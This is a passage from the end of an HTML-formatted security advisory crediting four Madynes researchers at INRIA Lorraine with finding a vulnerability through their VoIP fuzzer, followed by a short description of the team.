face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>Credits:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'> </span></font><span
lang=EN-US>Balamurugan Karpagavinayagam (Software engineer)</span><span
lang=EN-US><o:p></o:p></span></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'> Humberto
J. Abdelnur (Ph.D Student)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'> <st1:place
w:st="on"><st1:PlaceName w:st="on">Radu</st1:PlaceName> <st1:PlaceType w:st="on">State</st1:PlaceType></st1:place>
(Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'> Olivier
Festor (Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><font size=3
face="Times New Roman"><span lang=EN-US style='font-size:12.0pt'>This
vulnerability was identified by the Madynes research team at INRIA Lorraine,
using the Madynes VoIP fuzzer.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><b><font size=2 face=Arial><span lang=EN-US
style='font-size:10.0pt;font-family:Arial;font-weight:bold'><o:p> </o:p></span></font></b></p>
<p class=MsoNormal style='text-autospace:ideograph-numeric'><b><font size=2
face="Courier New"><span lang=EN-US style='font-size:10.0pt;font-family:"Courier New";
font-weight:bold'>Information about us: Madynes is a research team at INRIA <st1:place
w:st="on"><st1:State w:st="on">Lorraine</st1:State></st1:place> working on VoIP
Security assessment, intrusion detection and prevention.<o:p></o:p></span></font></b></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=3 face="Times New Roman"><span lang=EN-US
style='font-size:12.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span lang=EN-US style='font-size:
10.0pt;font-family:Arial'><o:p> </o:p></span></font></p>
</div>
</body>
</html>